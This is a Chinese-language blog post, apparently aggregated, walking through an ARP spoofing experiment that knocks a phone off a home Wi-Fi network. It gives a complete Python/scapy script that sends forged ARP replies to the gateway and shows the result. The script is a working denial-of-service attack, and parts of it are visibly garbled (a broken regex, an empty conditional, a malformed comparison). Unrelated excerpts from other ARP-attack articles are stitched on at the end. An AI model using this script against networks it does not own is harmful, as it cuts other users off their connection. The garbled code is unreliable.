ARP 斷網測試

2021-10-03 10:38:57 字數 3230 閱讀 6654

1. 膝上型電腦,配置如下:

電腦品牌:華碩 asus

系統版本:microsoft windows 專業版 [版本 10.0.17134.1069]

膝上型電腦通過 wifi 連線入網際網路。

2. pycharm 軟體,配置如下:

版本:pycharm 2018.3.3 (community edition)

build #pc-183.5153.39, built on january 1, 2019

jre: 1.8.0_152-release-1343-b264 amd64

jvm: openjdk 64-bit server vm by jetbrains s.r.o

python 3.7

網路裝置傳送報文時,會查詢網路裝置中的 arp 快取表,根據快取表中的 ip 位址確定其對應的 mac 位址。現在假設有兩個網路裝置同時連線到路由器,乙個為裝置 a,乙個為裝置 b,那麼在路由器中會存放 a 和 b 的 ip 位址和 mac 位址,分別記為 a_ip、a_mac、b_ip、b_mac。現在我們可以在裝置 b 上傳送 arp 應答報文,把應答報文的源 ip 位址填 a_ip,源 mac 位址填 b_mac,而目的位址正常填寫路由器的 ip 與 mac 位址。於是路由器就會認為 a_ip 位址對應的 mac 位址是 b_mac,就不會接收裝置 a 的報文,裝置 a 就會斷網。

本次實驗裝置 a 和 b 都在我們手中,主要是讓大家認識 arp 斷網的過程。

本次實驗使用一台膝上型電腦作為攻擊者,另外一台手機作為志願者。

路由器192.168.1.1

筆記本192.168.1.102

手機192.168.1.101

首先看一下膝上型電腦的位址為 b_ip = 192.168.1.102,b_mac = 70-4d-7b-41-d2-b6;

然後看一下手機的位址為 a_ip = 192.168.1.101。

開啟 pycharm 後建立乙個 py 檔案,輸入以下**,**很簡單,具體請看注釋描述:

# -*- coding: cp936 -*-

import scapy

import psutil

import re

import netifaces

from scapy.all import * # 用來構造 arp 報文

def printback(num=0):

for i in range(0, num):

print('\b', end='')

def arpcmd(cmdbody):

if (len(cmdbody) == 2 and cmdbody[0].lower() == 'break' or cmdbody[0] == '斷網'):

gateinfo = netifaces.gateways()

try:

gateip = gateinfo['default'][netifaces.af_inet][0] # 獲取預設閘道器的 ip 位址

netcardname = gateinfo['default'][netifaces.af_inet][1] # 獲取預設閘道器所在的網絡卡的名稱

except keyerror as e:

print('其返回值為:', gateinfo)

return

gatemac = getmacbyip(gateip) # 獲取預設閘道器的 mac 位址

netcardaddrs = netifaces.ifaddresses(netcardname)

try:

mymac = netcardaddrs[netifaces.af_link][0]['addr']

except keyerror as e:

print('其返回值為:', mymac)

return

dstipmatch = re.search(r'\a2(5[0-5]|[0-4][0-5])|[0-1]?\d(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d))\z', cmdbody[1])

if (not dstipmatch):

# 輸出獲取到的相關資料

# 構造 arp 報文

arp1 = arp()

arp1.op = 2 # 2 代表此報文為應答報文

arp1.psrc = dstipmatch.group() # 源主機的 ip 位址填要斷網的 ip 位址

arp1.hwsrc = mymac # 源主機的 mac 位址填本機(對應網絡卡)的 mac 位址

arp1.pdst = gateip # 目的主機的 ip 位址填閘道器的 ip 位址

arp1.hwdst = gatemac # 目的主機的 mac 位址填閘道器的 mac 位址

mesgnum = 0

whiper = 10000

while (whiper):

whiper = whiper - 1

if (whiper == 0):

send(arp1, verbose=0)

printback(len(str(mesgnum)) + len('個...'))

mesgnum = mesgnum + 1

print(mesgnum, '個...', sep='', end='')

whiper = 10000

if __name__ == '__main__':

while (1):

mycmd = input('請輸入:')

if (mycmd == 'exit' or mycmd == '退出'):

break

else:

cmdlist = re.findall(r'\s+', mycmd)

if (cmdlist == ):

break

if (cmdlist[0].lower() == 'arp'):

arpcmd(cmdlist[1: ])

**執行效果如下:

請輸入:arp break 192.168.1.101

process finished with exit code -1

現在再從路由器檢視裝置資訊:

路由器192.168.1.1

筆記本192.168.1.101

手機192.168.1.101

可以看出筆記本的 ip 位址也變成了 192.168.1.101,與手機相同。但是此時只有電腦能上網,而手機不能。

python arp斷網攻擊 區域網arp斷網攻擊

前言 使用計算機時間稍長的人,大多經歷過各種病毒氾濫的年代,當然現在也有很多病毒,只是現在的病毒已經很隱蔽了,而且行為也愈發的不可捉摸。我們今天記錄一下,早些時候,經常遇到的arp斷網攻擊。通俗的講,arp就是乙個問路的協議,資料要到達某乙個裝置,必須要知道其對應的mac位址,如何知道呢?那就是廣播...

Arp斷網攻擊,欺騙

在我們翻開一本關於開發類的書籍的時候都會看到一句 工欲善其事必先利其器 這句話給我們的意思呢大概就是,要想學好程式設計,首先得有開發工具,接下來,我就來講怎麼安裝linux kali 系統的環境,這時候很多人會產生疑惑,不久是個系統嗎直接裝不就好了?為啥還要環境,由於kali系統是全root模式安全...

arp斷網攻擊解決辦法

區域網中有這個提示arp斷網攻擊是正常的,說明防火牆已經攔截了,是有人用p2p工具控制你的網速,或者是區域網有機器中病毒了也會有這樣的提示,不過不用擔心,今天給大家帶來幾個防止arp斷網攻擊的辦法,希望能幫助到有需要的朋友。arp攻擊,是針對乙太網位址解析協議 arp 的一種攻擊技術。此種攻擊可讓攻...